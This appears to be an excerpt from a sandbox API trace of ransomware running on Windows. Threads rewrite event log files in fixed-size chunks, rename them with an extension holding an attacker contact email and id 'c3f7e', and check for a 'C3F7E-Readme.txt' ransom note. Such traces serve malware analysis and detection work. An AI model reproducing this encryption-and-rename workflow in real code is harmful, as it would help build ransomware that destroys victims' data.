	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c90) returned 1
	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c40) returned 1
	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b00) returned 1
	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0074.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x2d89460
	[0074.765] wcscpy (in: _Dest=0x2d89460, _Source="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx"
	[0074.765] wcscat (in: _Dest=0x2d89460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.766] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x878f948, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d6feb8
	[0074.879] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6feb8) returned 1
	[0074.879] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89520) returned 1
	[0074.879] NtQueryInformationFile (in: FileHandle=0x8c0, IoStatusBlock=0x878f954, FileInformation=0x878f92c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x878f954, FileInformation=0x878f92c) returned 0x0
	[0074.879] NtSetInformationFile (FileHandle=0x8c0, IoStatusBlock=0x878f954, FileInformation=0x878f92c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.881] FlushFileBuffers (hFile=0x8c0) returned 1
	[0074.883] CloseHandle (hObject=0x8c0) returned 1
	[0074.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70dc0
	[0074.884] wcscpy (in: _Dest=0x2d70dc0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.884] wcscat (in: _Dest=0x2d70dc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.884] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70dc0) returned 1
	[0074.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5fec8) returned 1

Thread:
	id = 147
	os_tid = 0xe20

	[0074.408] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20
	[0074.651] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0074.651] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8bc
	[0074.651] GetFileSizeEx (in: hFile=0x8bc, lpFileSize=0x880f7b4 | out: lpFileSize=0x880f7b4*=1052672) returned 1
	[0074.651] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.651] ReadFile (in: hFile=0x8bc, lpBuffer=0x880f738, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x880f734, lpOverlapped=0x0 | out: lpBuffer=0x880f738*, lpNumberOfBytesRead=0x880f734*=0x4, lpOverlapped=0x0) returned 1
	[0074.699] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47948
	[0074.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c90
	[0074.699] NtQuerySystemTime (in: CurrentTime=0x880f714 | out: CurrentTime=0x880f714*=132251868014320774) returned 0x0
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x63928d30
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x7358da20
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xb8a625d6
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xdfe28105
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x57fb642
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x2dea5fe
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xdee8e7d4
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x79194981
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xd6e85bd1
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x521b7359
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x46cdcfba
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x7c6adc34
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x592d3472
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x4df42e5b
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x80767523
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xf8dc61b5
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x9c96307a
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xcd0801d6
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xde1c9218
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x53835017
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xec041e4f
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x9e23a27d
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x55f02576
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xf123f66e
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xfd7d7b0e
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x658c1cd7
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xe7e59b25
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0xcacd4687
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x1a8cf75f
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x5de84057
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x38550789
	[0074.700] RtlRandom (in: Seed=0x880f720 | out: Seed=0x880f720) returned 0x744402cf
	[0074.710] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.710] ReadFile (in: hFile=0x8bc, lpBuffer=0x2e1df88, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x880f6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e1df88*, lpNumberOfBytesRead=0x880f6cc*=0xc800, lpOverlapped=0x0) returned 1
	[0074.728] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.728] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73c48
	[0074.728] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04108
	[0074.728] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47830
	[0074.728] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47830) returned 1
	[0074.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47cf7d8
	[0074.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0074.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47cb8
	[0074.732] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0074.732] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0074.732] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73c48) returned 1
	[0074.732] WriteFile (in: hFile=0x8bc, lpBuffer=0x47cf7d8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x880f6cc, lpOverlapped=0x0 | out: lpBuffer=0x47cf7d8*, lpNumberOfBytesWritten=0x880f6cc*=0xc800, lpOverlapped=0x0) returned 1
	[0074.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf7d8) returned 1
	[0074.752] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.752] ReadFile (in: hFile=0x8bc, lpBuffer=0x2e1df88, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x880f6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e1df88*, lpNumberOfBytesRead=0x880f6cc*=0xc800, lpOverlapped=0x0) returned 1
	[0074.757] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0074.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0074.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47cb8
	[0074.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0074.758] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e04f78
	[0074.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bf0
	[0074.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47808
	[0074.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47808) returned 1
	[0074.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0074.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0074.760] WriteFile (in: hFile=0x8bc, lpBuffer=0x2e04f78*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x880f6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e04f78*, lpNumberOfBytesWritten=0x880f6cc*=0xc800, lpOverlapped=0x0) returned 1
	[0074.761] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04f78) returned 1
	[0074.761] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.761] ReadFile (in: hFile=0x8bc, lpBuffer=0x2e1df88, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x880f6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e1df88*, lpNumberOfBytesRead=0x880f6cc*=0xc800, lpOverlapped=0x0) returned 1
	[0074.763] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73c90
	[0074.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e03fa0
	[0074.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a38
	[0074.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a38) returned 1
	[0074.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e04f78
	[0074.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47998
	[0074.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47cb8
	[0074.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0074.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0074.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73c90) returned 1
	[0074.765] WriteFile (in: hFile=0x8bc, lpBuffer=0x2e04f78*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x880f6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e04f78*, lpNumberOfBytesWritten=0x880f6cc*=0xc800, lpOverlapped=0x0) returned 1
	[0074.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04f78) returned 1
	[0074.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47333f0
	[0074.865] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.866] WriteFile (in: hFile=0x8bc, lpBuffer=0x2d88a78*, nNumberOfBytesToWrite=0x1cd, lpNumberOfBytesWritten=0x880f774, lpOverlapped=0x0 | out: lpBuffer=0x2d88a78*, lpNumberOfBytesWritten=0x880f774*=0x1cd, lpOverlapped=0x0) returned 1
	[0074.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88a78) returned 1
	[0074.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d3f8) returned 1
	[0074.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0074.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7db28) returned 1
	[0074.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47333f0) returned 1
	[0074.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0074.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0074.879] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0074.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x2d895e8
	[0074.879] wcscpy (in: _Dest=0x2d895e8, _Source="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx"
	[0074.879] wcscat (in: _Dest=0x2d895e8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.879] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x880f72c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d88b80
	[0074.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88b80) returned 1
	[0074.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88a78) returned 1
	[0074.887] NtQueryInformationFile (in: FileHandle=0x8bc, IoStatusBlock=0x880f738, FileInformation=0x880f710, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x880f738, FileInformation=0x880f710) returned 0x0
	[0074.887] NtSetInformationFile (FileHandle=0x8bc, IoStatusBlock=0x880f738, FileInformation=0x880f710, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d895e8) returned 1
	[0074.888] FlushFileBuffers (hFile=0x8bc) returned 1
	[0074.891] CloseHandle (hObject=0x8bc) returned 1
	[0074.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70a00
	[0074.892] wcscpy (in: _Dest=0x2d70a00, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.892] wcscat (in: _Dest=0x2d70a00, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.892] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70a00) returned 1
	[0074.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d620) returned 1

Thread:
	id = 148
	os_tid = 0xf00

	[0074.409] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20
	[0074.648] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0074.648] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8b8
	[0074.648] GetFileSizeEx (in: hFile=0x8b8, lpFileSize=0x888fde4 | out: lpFileSize=0x888fde4*=69632) returned 1
	[0074.648] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.648] ReadFile (in: hFile=0x8b8, lpBuffer=0x888fd68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x888fd64, lpOverlapped=0x0 | out: lpBuffer=0x888fd68*, lpNumberOfBytesRead=0x888fd64*=0x4, lpOverlapped=0x0) returned 1
	[0074.669] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0074.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0074.669] NtQuerySystemTime (in: CurrentTime=0x888fd44 | out: CurrentTime=0x888fd44*=132251868014008279) returned 0x0
	[0074.669] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x67ca82e1
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x8f1c325
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x9b603472
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x61b22c5b
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xa25d3691
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x5899a725
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x6e457e5a
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x42e77eaf
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x76e6ad86
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xa7e05d7d
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xd3e160ea
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xd2ea37dc
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x477ac486
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x9512684b
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x95859fbe
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x6365360d
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x3748e0cf
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x71817c37
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xd84689be
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x5a73178c
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x59e07df8
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x628512a9
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x3669bffd
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x2b6fa3e4
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x3515f172
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xb1984697
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x8da32013
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xcae9a8ab
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x23823306
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0x502e51f0
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xf4f16462
	[0074.670] RtlRandom (in: Seed=0x888fd50 | out: Seed=0x888fd50) returned 0xd8c88125
	[0074.679] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.679] ReadFile (in: hFile=0x8b8, lpBuffer=0x2e3afa8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x888fd24, lpOverlapped=0x0 | out: lpBuffer=0x2e3afa8*, lpNumberOfBytesRead=0x888fd24*=0xc800, lpOverlapped=0x0) returned 1
	[0074.716] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73d20
	[0074.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04978
	[0074.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478f8
	[0074.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0074.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47a9fc0
	[0074.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bf0
	[0074.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c90
	[0074.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c90) returned 1
	[0074.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0074.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0074.718] WriteFile (in: hFile=0x8b8, lpBuffer=0x47a9fc0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x888fd24, lpOverlapped=0x0 | out: lpBuffer=0x47a9fc0*, lpNumberOfBytesWritten=0x888fd24*=0xc800, lpOverlapped=0x0) returned 1
	[0074.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a9fc0) returned 1
	[0074.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3afa8) returned 1
	[0074.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x4732e48
	[0074.738] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.738] WriteFile (in: hFile=0x8b8, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x888fda4, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x888fda4*=0x151, lpOverlapped=0x0) returned 1
	[0074.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733118) returned 1
